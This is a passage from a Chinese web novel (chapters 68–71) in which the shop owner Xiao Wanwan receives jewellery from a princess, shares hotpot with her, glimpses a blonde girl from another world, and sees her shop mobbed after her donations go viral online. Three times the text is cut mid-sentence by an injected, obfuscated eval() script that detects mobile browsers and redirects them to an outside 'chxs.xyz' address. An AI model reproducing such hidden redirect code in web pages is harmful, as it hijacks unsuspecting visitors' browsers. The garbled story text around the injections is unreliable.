不过，其实她内心深处早已相信了萧妧妧所说的每一句话。 毕竟，萧妧妧从来都没有骗过她，而且从小卖部里得来的东西向来都是品质上乘、无可挑剔的。 萧妧妧干脆抽出牛皮包里的玻纤箭，紧握手中，猛地插向防弹衣。 玻璃柜台受力，发出哐的一声响，防弹衣却只是留下细微痕迹。 申明月哇了一声，目瞪口呆。 “穿在里面外面都行，至于其他功能，这得你亲自测试了。” 萧妧妧把防弹衣摊在柜台上，教她怎么穿脱它。 说到测试，申明月眼珠子骨碌碌转，正好她想试试，不同石的弓对防弹衣能造成何种程度的伤害。 只有弄清楚这些，她才能做到心里有数。 “萧老板，我得先回去……”申明月等不及了，迫不及待想看看防弹衣的妙处，转身要走时忽然想到什么，折返回来：“对了，我已安排下人选铺子，说不定等这场硬仗打完，不倒闭的分店就能开业了。 后面几日我得留在山里练兵，不能经常来，萧老板莫要为我担心。” 萧妧妧撑着脑袋，听她小大人似的交待事情，不由叹气。 苏娇娇的剧情开始了，申明月的剧情也慢慢走上正轨，每个人都忙忙碌碌，显得她无所事事，像条咸鱼。 但是，哪个咸鱼账户余额能有千万啊？ 萧妧妧觉得现在悠悠闲闲的日子挺好。 “萧老板你看，本宫也有好东西，比那个什么明月的更好。” 正当她无病呻吟的时候，柳如烟得意洋洋地跑来。 萧妧妧先是看到她灿烂的、花了妆的脸，随后便不由自主地凝向她脖颈。 68. 第 68 章 柳如烟倨傲地仰起脑袋，好让颈间项链更清晰的展现。 她提着裙摆款款走来，最后停在萧妧妧面前，双手舒展，缓缓转了个圈。 “怎么样？”她得意问。 萧妧妧一眼看到她戴的红宝石项链，有她拇指那么大，她连假货都不敢买成这样的。 除了红宝石，项链主体最吸引人的是指甲盖那么大的钻石，镶嵌了上百颗，灯光下璀璨夺目，亮瞎人眼。 要不是戴在她身上，萧妧妧差点拿手电筒照上去看个仔细。 萧妧妧半信半疑的问：“这是……钻石？” 柳如烟呆了两秒，惊喜低呼：“你知道钻石？你快说说，钻石真有那么珍贵吗？” 她一边抚摸着颈间红宝石项链，一边眨巴眼睛期待萧妧妧的讲解。 萧妧妧稍顿，模棱两可的说：“在我们这里，这么大这么多的钻石，确实挺值钱的。” 柳如烟更惊喜了，惊喜之余羞怯地垂下头。 “哼，算他识相……”她嘴角含笑的嘀咕。 萧妧妧明白过来，不用说，肯定是男主陈松送给她的，估计还把钻石吹得天花乱坠。 只高兴了一会，柳如烟又挂着一张脸，嘴巴高高撅起。 “再值钱也没用，本宫不稀罕和别的女人用一样的东西。” 想到同样戴着钻石项链的教坊司舞女，柳如烟恨恨地摘下项链，高高举起就要往桌子上砸。 萧妧妧吓得心脏停跳，眼疾手快，赶紧伸出双手垫在下面，才没让红宝石磕在桌上。 “你急什么，这是本宫的东西，本宫爱怎么着就怎么着。”柳如烟没好气的说。 萧妧妧给了她一个白眼：“那你带回去再把它怎么着。这么好的东西在我眼前毁了，你当我有几颗心脏啊？” 系统估价红宝石项链价值5400万，光是那颗打磨光滑的红宝石主石，低于4000万都拿不下。 即便东西不属于她，萧妧妧也不忍心看到珍贵又精美的物件，在自己眼前被人糟蹋。 她拉过柳如烟的手，把红宝石项链塞回她手里。 “既然不喜欢了，那你带它来做什么？”萧妧妧没忍住吐槽。 柳如烟别别扭扭地侧身，“不识好人心，本宫是想告诉你，别看到绿的就当是宝贝，这世上的好东西多着呢，少被那个什么明月给骗了，她给你的东西可不算多好。” 萧妧妧噗呲一下笑了，原来是胜负欲作祟。 “才不是，本宫是担心你被人哄骗！”柳如烟大声辩驳。 她撸下手上的淡紫色翡翠镯子，不由分说地塞进萧妧妧手里。 明明刚从柳如烟腕上摘下来，萧妧妧感受一会，触感冰凉，再看光泽，显然不常佩戴，不出意料是特意带来给她的。 “既然你喜欢翡翠，这镯子……本宫就赏给你吧，”柳如烟嘴巴上说得轻描淡写，实际在意的要死，紧盯着萧妧妧的表情，“铺子虽小，但格外有趣，本宫要多待一段时日。” “什么骗不骗的，礼物是她的心意。”而且还是战利品，匪窝里能扒出这两样值钱货实属难得。 柳如烟叉腰道：“哪怕是心意，本宫的心意也要比她的心意贵重。” “那我……多谢公主贵重的心意？” 萧妧妧迟疑一会，收下镯子放在手心里摩挲，嘴角差点笑抽筋。 紫翡镯子成色真不错，虽然看不出名堂，但系统给了估价，高达2000万！ 值2000万必然是好东西，柳如烟敢送，她就敢收。 见萧妧妧欣喜又爽快地接下镯子，没像那些人装模作样的假客套，柳如烟心情好极了。 “对了，你快帮本宫看看，”柳如烟喜滋滋坐回凳子上，扭两下找到舒服姿势，平板递到萧妧妧面前，“正看到精彩部分，怎么就不动了呢？” 萧妧妧接过平板一瞅，好家伙，这是迷上霸总短剧了，看到收费部分，需要充值。 萧妧妧没忍住，肩头耸动片刻，等她笑完，萧妧妧才用自己的账号开通付费。 柳如烟欢欢喜喜接过平板，边刷短剧边吐槽，“长头发的女人太坏了，那个男人也傻，别人说什么信什么。” 萧妧妧看她拘束地坐在桌边，转身去库房挪来摇椅和懒人沙发。 小卖部要做生意，不好放太多东西，萧妧妧把它们放在屋后走廊下，招手示意柳如烟过来。 “凳子太硬，坐着不舒服，摇椅和懒人沙发随你选。” 萧妧妧两个都演示一遍该怎么使用，随后起身让位置。 柳如烟一看到摇椅总能想到祖母，那是上了年纪的人喜欢用的，于是她屁股一扭坐进旁边的懒人单人沙发。 “哇……好舒服啊，萧老板，这个沙发你卖不卖？” 萧妧妧头也没回的说：“不卖，送你了。” 柳如烟甜甜地笑：“多谢萧老板。” 她学着萧妧妧的样子，试着将两条腿架在前面的脚凳上，整个人顿时像是陷进了云朵里。 柳如烟拍了拍蓬松的扶手，又拍了拍后面柔软的靠背，舒服的喟叹出声。 这可比寝宫里自在，在宫里她敢做出不雅的姿势，嬷嬷第一个不答应。 “萧老板！萧老板！沙发它、它会动！” 刚点开播放视频，等着看恶毒女二什么时候下线，柳如烟忽然感觉被人戳了脊梁骨。 前面两次因为追剧投入没反应过来，以为是错觉，直到那么那玩意开始疯了一样地捶她。 “啊啊啊啊啊，它打我！” 柳如烟又气又怕，抱着平板跳起来，指着懒人沙发委屈控诉。 萧妧妧以为出了什么事，跑回院中一看，哭笑不得。 “哦，那不是在打你，这是沙发的电动按摩功能，如果不喜欢可以关掉。” “按摩？”柳如烟语气质疑。 “对，我想想怎么解释……”萧妧妧捏着下巴思索：“类似你坐着看书，你的小宫女围着你捶腿敲背按脑袋。” 柳如烟松了一口气，这么说她就明白了。 “本宫当然知道什么是按摩……是它，下手太重了。” 她清清嗓子，为自己一惊一乍感到不好意思，描补两句，小心翼翼坐回去。 萧妧妧走到沙发侧面，关掉按摩功能，柳如烟满意了，翘着腿躺回去。 进门前，眼看着时间要到中午了，柳如烟不像是要回去的样子，转身询问过她是否有忌口。 柳如烟偏头探出半截身子，“萧老板要请本宫吃饭？好呀好呀。” 萧妧妧提前给她打预防针，“不是很名贵的食物，算是我们这里的特色，你就当尝尝鲜。” 柳如烟乖巧点头：“本宫不挑的，萧老板你不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916190|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道，陈松还请本宫吃土里扒出来的鸡，虽然看起来不怎么样，但是味道确实不错。” 她回味似的舔舔唇，也是从那次开始，信了陈松“食物不可貌相”的鬼话。 萧妧妧了然，应该是叫花鸡。 “那太复杂了，今天吃点方便的。”萧妧妧转身离开前，顺便提醒她，“对了，最好换一身简便的衣衫，免得油渍溅上去毁了你的衣裳。” 柳如烟的衣裳有成片成片的金丝银线，缀有宝石珍珠，袖口衣领处大片的雪白狐狸毛，弄脏弄坏都挺可惜的。 “知道了，这就回去换。”柳如烟很听劝，乖乖回去换衣服。 这套冬装是新做的，她喜欢得很，舍不得毁了它。 萧妧妧目送她回到自己的寝宫，不由轻笑，小姑娘挺可爱的，尤其好好说话的时候，乖乖巧巧，心都软了。 柳如烟更衣的时间有点久，再回来，萧妧妧刚摆好碗筷，圆桌中央的火锅咕嘟咕嘟冒着热气。 萧妧妧对食物追求不高，好吃就行，为了配得上柳如烟的身份，斥巨资点了一次价值千元的火锅外卖，菜品品质上乘，份量足够两人吃到撑。 柳如烟满脸期待的小跑进门，看到满满一桌的食物，好奇地打量。 萧妧妧邀请她坐下，递去油碟酱料碗，每夹起一道菜下锅里，便要教她怎么看熟没熟，怎么吃。 柳如烟看得目不暇接，她从没见过如此赤裸、未经烹饪的食材。 “原来这是鸡爪啊……可是真的能吃吗？” “脑花是什么，它看起来……哕。” “毛肚也能吃？可是它长得很丑哎……” “鱿鱼是什么鱼？牛板腱是哪里的肉？” 奇形怪状的食材陆续下锅，柳如烟举着筷子不知道从哪下手。 等锅底再次咕嘟咕嘟，嗅着香辣气息，口水不自觉分泌，柳如烟咬咬牙，决定拼了。 她撩起袖子，一筷子插进锅里，闭着眼随便一捞，夹了一块软烂的虎皮鸡爪上来。 望向对面的萧妧妧，已经涮了不知道多少片毛肚，吃得津津有味，柳如烟一狠心，吹凉鸡爪，缓缓送进嘴里。 “好软……萧老板，它好好吃！” 柳如烟像发现了新天地，开心地跺脚，一边嚷嚷着好吃好吃，一边伸手从锅里捞出剩下几个鸡爪鹅掌什么的。 “别吃太急，太烫的食物对身体不好，” 萧妧妧看她埋头狂吃，时不时抬头斯哈斯哈，提醒一句，推去自制的果茶方便她解辣。 她自己则更爱可乐，火锅和可乐，绝配！ 柳如烟含含糊糊地应声，辣得面颊涨红时，抱着冰镇橙汁喝个痛快。 “哇……萧老板，为什么你这里的饮子也这么好喝。” 柳如烟抹掉唇角溢出的水泽，睁大眼睛盯着冰冰凉冒水珠的玻璃杯子。 萧妧妧笑了笑：“喜欢喝下次再给你做。” 半杯橙汁兑半杯绿茶，再放半袋食用冰，是最简单的饮料了，萧妧妧怕她喝不惯可乐特意调的。 两人吃得畅快，平板放着辣耳朵的台词，女主挨了女配第N个巴掌的时候，她们忽然听到后门边上响起一阵吸气声。 两人不由自主侧头，就看到一个穿着类似帝政裙、手持琉璃灯，满脸惊惶的金发少女。 “萧老板，她眼睛是绿色的！” 69. 第 69 章 柳如烟审视少女片刻，随即警惕起来。 萧妧妧看了看结界，黑咕隆咚，似乎是一座古旧的城堡，阴森冷寂。 她的特征太明显，稍一回想，萧妧妧很快猜到少女出自何处。 应该是她看过的唯一一本西幻题材漫画，主人公是罗曼王国的公主伊迪斯，她被选中为祭品，在成年前夕送往密林中的神山，祭祀恶龙。 罗曼王国常年受到神山的恶龙侵扰，子民过着水深火热的生活。 临近恶龙苏醒下山觅食的节点，罗曼王室决定献祭公主一人，祈求恶龙不要下山作恶。 皇室只有一个明面上的公主，便是伊迪斯。 她不愿意成为祭品，得到消息后带着女仆逃出皇宫，历经波折，主仆三人误入精灵王国，又经历一番波折后决定在那里定居，最后与精灵相恋的故事。 当然这是简介上写的，至于没写出来的部分，萧妧妧完全不知道是什么剧情。 漫画是月更，萧妧妧追着追着就把它忘了，记得故事梗概已经算她记性好，什么人物形象完全对不上号。 说回眼前的金发少女，恕她眼拙，实在看不出是女主还是女配或者是某个精灵。 就在萧妧妧犹豫要说hello还是wee时，金发少女倒吸一口凉气，转身就跑。 萧妧妧尴尬地放下打招呼的手，“……好吧，她好像有点怕我们。” 怕也是应该的，偌大古堡里出现一间风格迥异的店铺，店铺里坐着俩黑发黑眼的异族人类。 她们满口红油，兴致勃勃地倒下一碗红色鸭血，旁边十三寸的平板里，两个疯婆子一样的女人啪啪啪互扇巴掌。 乍一看，是有点吓人。 柳如烟：“萧老板，她也是你的客人？” 萧妧妧点头：“对，未来的客人。” 还没开始第一次交易，不算正经的顾客，系统不会显示顾客信息。 柳如烟打开了话匣子，暂停短剧，叭叭叭说起刚才的少女。 “她的裙子好奇怪哦，而且头发是金色……她为什么要跑啊，真是奇怪……” 萧妧妧时不时附和一句，小卖部热热闹闹了好一阵。 午饭过后，在萧妧妧的要求下，柳如烟不情不愿地一起收拾残局，清理完成，她说什么也不肯走，懒洋洋窝在沙发里玩平板，和网瘾少女没什么两样。 萧妧妧眼珠子一转，嘿嘿嘿笑，当即把看店重任交给柳如烟。 小卖部有自助模式，不需要特意招待顾客，古董铺开在巷子里，除了熟客上门，一上午连个进门溜达的人都没有。 唯一让她放不下的是异世界客人，正好柳如烟在，闲人利用。 有情况可以打电话，萧妧妧琢磨一下，也不是非要她留在店里不可。 柳如烟不知道听没听清，头也不抬的说：“知道啦知道啦，会给你打电话哒。”语气敷衍得很。 萧妧妧还是不放心，可想到苏娇娇和申明月很忙，短时间内不会上门，龙傲天被她拉黑，暂时没法出现，而新顾客估计还在瑟瑟发抖，更不会立刻出现。 萧妧妧盘算半天发现没什么好顾虑的，骑上史努比开开心心去银行。 预约的今天提前还贷，可以顺带把支票拿去银行取现，从此她就无债一身轻了。 自己开店虽然自由，但有一点不好，不能随心所欲说走就走，整个人像地缚灵一样绑在店里，总担心离开的工夫会错过大生意。 这也导致萧妧妧每天两点一线，尽忙着赚钱赚钱赚钱，史努比等红灯，看到商场大屏幕播放奢侈品广告时，她突然惊觉自己没能买买买，感受一把买东西不看价签的滋味。 网上下单囤积各种物资不能算在其中，这在她看来是进货。 她又看向另一边的商场，靓丽女孩们手挽着手，拎着大包小包出来，萧妧妧不由在心里计划，等腰不酸腿不疼了，她也要早早关了店门来消费。 萧妧妧正要收回目光，加速通过路口，余光忽然瞥见巷子口的古朴牌匾。 “吱——” “哎呀，怎么骑车的，走不走啊？” “会不会骑车啊？前面绿灯你搞什么啊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922125|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>萧妧妧连声向周围人说抱歉，两腿蹬地划到一边。 她仰起头，看着路牌上写着“毛料交易市场”几个字，目光转移到路牌另一边，箭头指向隔壁街区，写着“李园古玩市场”几个字。 萧妧妧的心猛地一颤，一个念头如同闪电般划过她的脑海，一阵强烈的震撼和兴奋袭上心头。 系统估价功能可以扫描古董珠宝，换句话说，扫描翡翠原料进行估价同样是可行的？ 翡翠成品价格一直是上涨趋势，这也影响到了加工端，好料难求不说，价格跟着上涨。 只要她能捡漏一个做出成品，那就有得赚，而且是大赚。 当然，相比和异世界客人交换而言，这算是很麻烦的一个步骤，萧妧妧思忖片刻，觉得可以浅浅先尝试一次，再看情况决定。 不止是翡翠毛料，她要是在古玩市场走一圈，走哪扫哪，不就相当于拥有了无敌的作弊神器，可以轻松捡漏各种宝贝吗？ 萧妧妧心潮澎湃，大半天都没能平静下来，她恨不得立刻去交易市场闯荡。 身后滴滴滴的喇叭拉回她的注意力，萧妧妧定了定神，决定先去银行。 捡漏之前，充足的资金是至关重要的一环。 电视剧里演过，高品质的毛料动辄上百万，还不容易遇见，她手里的现金存款不过百多万，买点奢侈品过过瘾没问题，拿去买心仪的料子恐怕不够看。 绿灯再次亮起，萧妧妧加速前往银行，先还款再提现，她也算是享受到了VIP待遇。 两个业务办理完，时间不知不觉来到傍晚。 回去的路上，看着黑了灯的毛料市场，萧妧妧遗憾叹气，只能等下次了。 史努比慢悠悠回到小卖部，锁上车，进店，刚迈进门，萧妧妧诧异地停下脚步。 自助收银机前排了长长的队伍，每个人都拎着购物篮，篮子里塞得满当当。 她站着发呆的工夫，陆续有人进店，他们像NPC，流程高度相似，先是在门口拍照，再是进店选购。 小卖部什么时候有这么好的生意了？ 70. 第 70 章 “如烟，店里什么时候来得这么多人？” 萧妧妧扒开人群，一路跑到后院，神色惊奇又困惑。 院子里，柳如烟不知道刷到什么，整个人都红温了，猛地听到有人喊她名字，一时间没反应过来，好一会才抬起头，脸上保持着痴痴的笑意，两眼茫然望来。 “什么？什么这么多人？” 萧妧妧一看她这模样就知道白问。 如烟大帝成了网瘾少女，她罪孽深重啊。 她无语地指了指店铺，“店里，不知道什么时候来了好多人买东西，想问问你有没有注意到什么情况，现在看……” 现在看，柳如烟也是靠不住的，萧妧妧无奈摇头。 柳如烟一愣，放下脚丫子跑到门口探头探脑，没一会，似乎被店里热热闹闹的场景惊了一跳。 “发生什么事了？”满口答应要帮忙看店的柳如烟尴尬地缩了缩脖子，“对不起……” 萧妧妧摆摆手，“不是什么大事，只是有点好奇。” 小卖部的位置不错，位于景区附近，来往游客很容易看到它，但奇怪的是，店铺的生意一直冷冷清清，哪怕小卖部在张芸手里经营的时候，也没有特别好。 萧妧妧以为是装修的原因，比起连锁便利店，不倒闭小卖部不管从外面的门脸还是内里陈设，都有点十几年前的复古味。 老妈张芸不太乐意打理188号，开铺子也是不情不愿的，只是不想让王翠菊借题发挥，把院子搂走，所以并不上心，所有货架柜台等全是二手货。 萧妧妧接手后，是真心想把生意做起来，不惜借钱也要把铺子经营起来。 首先是装修这一块，吊顶重做，线路更换，装了很多大小灯，让铺子看起来亮堂堂，墙面全部粉刷一遍，看不到一点污痕。 原先的货架柜台她妈不舍得扔，萧妧妧考虑到成本问题，便没换，清洗干净继续使用，好在她精心布置后，看起来效果不错。 再就是选品，萧妧妧最关注这方面，借来的钱大多花在这里。 重新开业后，小卖部虽然还是古朴的，但至少不是陈旧且黑黢黢的，客流量比起装修前算是翻了两倍多。 可在短时间内，一下子涌来如此多的客人，萧妧妧总有种摸不着头脑的感觉。 柳如烟不知道情况，萧妧妧想了想跑去问问隔壁的刘叔。 “客人多还不好啊？你这孩子……赶紧上货吧，一天天的净瞎跑。” 刘叔撇撇嘴，棕榈扇在摊子上扑来扑去，赶走飞舞的苍蝇蚊虫。 得，不仅没问出来原因，还被教训了一顿。 萧妧妧挠着头回到店里，看着乌泱泱的人头，心里越发困惑。 这时，两个黄毛青年结伴进店，看到满屋子人，没忍住嚯了一声。 “这么多人啊……不是说古董铺吗？怎么……” “不能找错了吧？你看这店，哪里像是卖古董的样子。” 另一个红毛青年迟疑着在店里张望一圈，退到店门口。 两人正犹豫，看到货架边无所事事的萧妧妧，马上掏出手机上前搭话。 “妹子，问你一下，月牙巷的不破斋怎么走？就是卖古董的那个，网上明明说是188号，怎么成了小卖部啊？” 萧妧妧刚想问问排队的客人为什么一窝蜂的光顾小卖部，转头送来两个人。 她反问道：“你们找古董铺做什么？” 黄毛青年打量她，惊艳一瞬过后，语气温和的老实回答：“你没上网吧？这是网上很火的那个铺子，我们是来支持老板的。” 萧妧妧要蒙圈了，捐个《古文释读》，不至于吧？ 难道是热搜挂久了，发酵了，凑热闹过来打卡？ 也不是不可能，任何事物在网上有了流量，多得是数不清人的跟风。 红毛青年见她一脸问号，稀里糊涂的样子，便说：“你看看新闻吧。” 萧妧妧呆呆地掏出手机，想看看发酵成什么样了，黄毛青年忙问：“等等，美女你先告诉我们古董铺在哪啊，我们是要去买古董的。” 听到来生意了，萧妧妧立刻来劲，“古董铺啊，在后院，我领你们去。” 两边排队的顾客得知后面真有个古董铺，纷纷回头。 他们看评论区说，小卖部和古董铺是同一个老板开的，到达现场只看到小卖部，还有些纳闷呢，原来是藏在院子里。 有些好奇心重的人提着购物篮跟上。 萧妧妧打开古董铺的锁，推开门，做出请的手势。 “欢迎光临不破斋，请随意挑选~” 两个青年一愣一愣的，“您是铺子的老板，捐古籍和罪证的那个？” 萧妧妧看到后面跟来不少人，不由自主开启胡话模式，“我就是帮忙看店的，呵呵……” 俩青年哦了一声，失望地挪开视线，迈步进店。 没多久，萧妧妧听到他们再次“嚯”了一声。 “一万……卧槽。” “你看手串，麦丽素似的，三万！” 标价出乎青年的意料，他以为古董铺和街道上的古玩摊子一样，三五百买个青铜币或者鼻烟壶，七八千能买个青花盘子。 一进店，看到价牌，两人瞬间胆怯。 萧妧妧不知道该不该跟进去，踌躇之际，越来越多的人来到后院，惊得柳如烟顾不上沉迷网络。 “手串用的是好料子，您指着的那件是绿松石，三万的那件是碧玺，货真价实的东西，有C大的鉴定证书。”萧妧妧走上前介绍。 后进来的顾客听到这话，气势一变，缩手缩脚的在店里参观起来，生怕碰坏东西。 “我去，金枝玉叶啊，这是真的吗？” “应该吧……别管了，你先看看价牌，是万还是百万啊？小数点看不清。” “赶紧出去吧，店里人这么多，万一不小心碰坏哪样东西，那可真是赔都赔不起！” 窸窸窣窣的议论声逐渐传开，一些比较谨慎小心的顾客便开始有意识地避开人群，一步一挪往店外走。 萧妧妧同样心惊胆战，店里可都是货真价实的宝贝，不小心摔坏了哪一样都将是无法挽回的损失。 她顾不上招待客人，急忙把紫砂茶壶转移到柜子里，又紧张地探望一圈，检查哪些东西容易被磕碰。 好在顾客很有素质，被价格震惊到只是和同伴小声交流几句，匆匆去前面小卖部。 最先进来的红黄毛青年是最后离开的，两人把铺子转了一圈，嘀嘀咕咕好一会，不知道商量什么。 萧妧妧等了一会，两人似乎商量妥当，举手示意。 “你好，可以把那条绿松石手串包起来吗？” 萧妧妧诧异不已，看起来最不像消费者的黄毛青年没有讨价还价，干脆利落的扫码付账。 “帮忙包漂亮点，我想送给女朋友。”黄毛青年补充道。 萧妧妧应了一声，手串和鉴定证书、收据等一起装进礼盒，交给两人。 他们并没有立刻离开，转而去小卖部拿购物篮，穿梭在货架间疯狂扫货。 萧妧妧这会算是看明白了，两人不像是有需求来购物，更像是为了表达自己的支持，在经济范围内买了一堆东西。 萧妧妧看一眼空荡荡的货架，开始感到为难，忙上前劝阻大家。 “谢谢大家的支持，请理智购物，按需购买。” 她连着喊了几遍，回应的人寥寥无几，只一味地塞满购物篮。 萧妧妧见实在劝不动，越发想不通，到底发酵成什么样，未免太疯狂了。 没等她输入关键词搜索，热搜框里主动推送了新闻。 萧妧妧一眼分辨出来，这事绝对跟她有关。 “古籍捐赠者再次出手，珍贵史料大曝光！” “近日，曾捐赠给文字博物馆《古文释读》的古董店主再次捐赠了一样东西，谁都没想到，这样一个小小的录像带，揭开了侵略者费心掩藏的真实历史，成为有力罪证。” “古董店主匿名捐赠，晚报记者为流量曝光捐赠者信息，是否合理？” 新闻、热搜、短视频……不知不觉间，到处是萧妧妧捐赠侵略战争史料的新闻，不管切换几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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粗略扫一眼，有对视频里的古董感兴趣的，有好奇她如何发现这些老物件的，有很多热心又阔绰的网友，听说她无偿捐赠，通过各种各样方式“捐款”，更有自称记者的人表示，希望能做一个简短的采访。 相比起来，从四面八方赶来小卖部，通过消费给予实际支持的网友数量不算多了。 萧妧妧感动于大家的热情与善良，同时有些哭笑不得。 昨天下午匿名寄件，今天上午便公布了录像带部分画面，午饭前后，记者查出她的信息并发布新闻稿。 傍晚时分，网友纷纷上门消费，有的是真消费，有的是来拍照打卡，架起支架等在店外直播的所谓网红们也不少见。 一切发生的太快了，小卖部成了网红店，源源不断上门的顾客打得萧妧妧措手不及。 选择匿名捐赠最主要的原因之一，就是担心引起过度关注，现在倒好，店里挤满人，网上的关注度不断攀升，流量大到她不知道怎么应对。 萧妧妧不禁苦恼起来，天天这样宾客盈门，以后怎么做其他位面的生意啊。 唉声叹气的时候，蜂拥而来的客人总算离去，留下一片狼藉。 并非是萧妧妧的劝阻起到了作用，而是那十几个货架被扫荡一空，大家找不到商品可买。 店外不断有人路过并试图进店，直到他们看到白得反光的货架，这才放弃，拍一张照片遗憾离开。 要不是她在陈列玛瑙玉髓的架子上贴了“非卖品”几个字，恐怕连她为异世界准备的商品都留不住。 等店里彻底没人，萧妧妧迅速关上大门，回身看到像洗劫过似的小卖部，一时间无话可说。 摇头叹息的时候，她看到后门旁边的长桌上留了一封信，贴在平板上。 “好可怕，本宫回宫了，记得给板板充电” 萧妧妧不禁哑然失笑，刚刚还担心异世界的客人受影响，转眼发现柳如烟早被吓跑了。 她深深地叹了口气，垮下肩膀。 先不提其他，单单把空荡荡的货架重新填满，就得耗费她不少时间。 萧妧妧认命的去仓库搬货，好不容易将饮料区的货架填充至一半，想要撂挑子的念头便开始在脑海里盘旋。 她再去看时间，即将7点，今晚要是偷懒，明天供货商上门只会变得更混乱。 “咚咚咚” 正当萧妧妧犯愁，小卖部的感应门被人敲响。 71. 第 71 章 “你怎么来了？” 萧妧妧听到敲门声，以为又是问询开业时间的网友，转头看到是换了一身运动装出门遛狗的黎行聿，意外了一瞬。 这么早出门遛狗，真难得。 她快步走到门边，左右张望片刻，没看到人过来才敢打开一条门缝。 大王是条E狗，呲溜一下钻进来，吐着舌头欢快扑到她身上。 萧妧妧接住狗子，撸两下狗头算是和它打招呼，注意到黎行聿在打量店铺，出声解释。 “抱歉，店里面有点乱，”她踢开门边几个货箱，方便他们进门，“你要买什么？我帮你找找，只是……不一定有货。” 供货商最快答应可以今晚送货，但萧妧妧扛不住。 爬一次山，身体到今天都没能缓解酸疼感，再忙着搬货卸货补充货架，萧妧妧怀疑自己彻底要废掉，没敢把送货时间定在今晚。 黎行聿拍拍它狗头，让它安静些，缓缓说：“不是买东西，大王它闹着要来找你玩，停在门外拽不走。” 看到他略带歉意的神情，萧妧妧这才低头，注意力放在围着她团团转的狗子身上。 大王确实很喜欢和她玩，每次见她总是热情扑来蹭她，只是没看出来还挺倔强。 萧妧妧指着身后，无奈耸肩：“我很欢迎大王过来玩，可……” 黎行聿顺着她视线望过去，柜台边空纸箱叠了七八个，货架只摆了一半不到。 “店里出什么事了？” 萧妧妧更无奈了，肩膀不自觉垮下来，“唉……说来话长。” 见她不打算细说，黎行聿没再追问，示意脚边几摞货箱，“这些都要摆上货架？” “差不多吧，所以今天没时间和大王玩了。”回应黎行聿一句，萧妧妧趁机撸了一把狗头，捧起狗脸说：“乖乖回家，下次姐姐给你带饼干。” 威风凛凛的大王听懂了她的话，立刻挤出委屈巴巴的哭丧脸，不甘心地拱过来，两爪抱着她的腿不肯撒手。 萧妧妧不知道自己竟然这么讨狗子喜欢，赶紧把它扒下来。 一人一狗正闹腾着，萧妧妧忽然听到旁边窸窸窣窣的动静。 扭头一看，黎行聿蹲在纸箱旁，捡起美工刀一个一个拆箱。 萧妧妧瞪大眼睛，不敢相信自己看到的画面。 “这些要放在第一排货架上？” 黎行聿察觉到她的目光，从箱子里提出一瓶饮料，晃了晃瓶子向她询问。 “等等，你在做什么。”萧妧妧手忙脚乱的扒拉开大王，跳过空箱子来到货架边，夺走他手里的饮料。 黎行聿用理所当然的语气说：“帮你补货啊。” “不行不行，怎么能让你动手。” 萧妧妧唰的一下脸红，这也太不好意思了，自己当老板的和狗子玩，顾客却在帮忙理货。 “大王第一次出远门，在南市没有朋友，这几天闷闷不乐，有时候又特别烦躁，安静不下来，只有看到你会好一点，我想让你帮我陪陪大王，做为交换，我帮你补货。” 大王眼珠子一转，听明白主人在给它泼脏水，呜呜几声表示抗议。 萧妧妧眉头轻拧，听起来对她而言是天上掉馅饼的好事，只是她没脸皮厚到指使顾客干活的程度。 萧妧妧：“举手之劳，补货就不必了。” 黎行聿拒绝了她的拒绝，他利落地拆箱，对准货架上的标签，依次把箱子里的商品摆放到对应位置，再摆正商品的包装，看起来有模有样。 “如果你觉得不合适，大王留在这里影响你工作，我可以带它回去。” 大王又听懂了，不仅不能出门遛弯，还不能和好朋友玩耍，满脸不可置信的样子瞪向黎行聿。 萧妧妧连忙摆手：“不不不，我不是那个意思……” “这个要放在哪一层？”黎行聿自顾自的忙碌着。 “第三层，”萧妧妧下意识回答，顿了顿，她尴尬地说：“你是客人，我不能让你动手。” 黎行聿找到第三层货架，三两下把箱子里的水全部挪上去，他拎起空纸箱递给萧妧妧。 “可以帮我把它扔过去吗？谢谢。” 萧妧妧想说什么，又被打断，黎行聿没有接她的话，头也不抬的继续忙，她只好接过纸箱乖乖堆到柜台旁边。 “没几箱货了，仓库在哪里？我去多搬一点过来。” 萧妧妧想赶在他前面动手，黎行聿按住她肩膀轻轻推开她。 “告诉我在哪里就好。” 萧妧妧站在原地傻眼，“在、在旁边。” 也不能真让他一个人干，萧妧妧见阻止不了他，赶紧冲上去帮忙。 黎行聿动作干净利落，有他在补货速度飞快。 忙着忙着，看到面前满当当的货架，萧妧妧恍惚了片刻，不禁挠了挠后脑勺。 这事闹得，本来想让他别管，稀里糊涂的，最后变成两人搭档干活。 她看向另一边，身形高挑的成年男人挤在不算宽敞的货架间，动作稍显拘束，但不影响他干活速度，三两下便把怀里一箱抽纸转移到货架顶部。 萧妧妧时不时偷眼瞄过去，货架上整整齐齐不说，连价签都贴得端端正正，货品商标正对外侧，强迫症都挑不出毛病。 “哪里摆错了吗？” 黎行聿捕捉到她打量的目光，一次两次更多次，忍不住问出口。 萧妧妧拨浪鼓似的摇头：“没有没有。” 黎行聿轻笑，“那就拜托你再摸摸大王，它跟在你身边半天了。” 